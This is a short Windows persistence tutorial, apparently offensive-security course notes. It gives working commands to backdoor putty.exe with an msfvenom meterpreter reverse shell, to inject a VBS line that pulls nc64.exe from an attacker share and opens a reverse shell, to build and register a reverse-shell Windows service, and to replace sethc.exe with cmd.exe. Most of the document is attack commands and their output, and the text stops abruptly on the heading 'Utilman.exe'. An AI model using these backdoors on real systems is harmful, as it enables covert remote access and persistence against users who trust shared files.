Backdooring

Backdooring .exe Files

If a shared file is a Windows binary, such as putty.exe, it's possible to download it from the share and inject a backdoor using msfvenom. This backdoored binary will continue to function as expected but will also silently execute an additional payload. To create a backdoored putty.exe, you can use the following command:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

The resulting puttyX.exe will execute a reverse_tcp meterpreter payload without the user's awareness. Once the file is generated, you can replace the original executable on the Windows share and wait for connections using the exploit/multi/handler module from Metasploit.

Backdooring .vbs Scripts

If the shared resource is a VBS script, you can place a copy of nc64.exe on the same share and inject the following code into the shared script:

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\<attacker_ip>\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

This code copies nc64.exe from the share to the user's workstation's %tmp% directory and initiates a reverse shell to the attacker whenever a user opens the shared VBS script.

Creating Backdoor Services

To create a reverse shell and associate it with a newly created service, you can use msfvenom. Note that service executables must adhere to specific protocols to be handled by the system. To generate an executable compatible with Windows services, use the exe-service format in msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f exe-service -o rev-svc.exe

You can then copy this executable to the target system, for example, to C:\Windows, and configure the service's binPath:

sc.exe create ServiceName binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start ServiceName

Making Sticky Keys Spawn a Terminal

To replace sethc.exe, you first need to take ownership of the file and grant your user permission to modify it. Only then can you replace it with a copy of cmd.exe.

C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" is now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 file; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.

The same steps can be applied to replace utilman.exe if needed.

Utilman.exe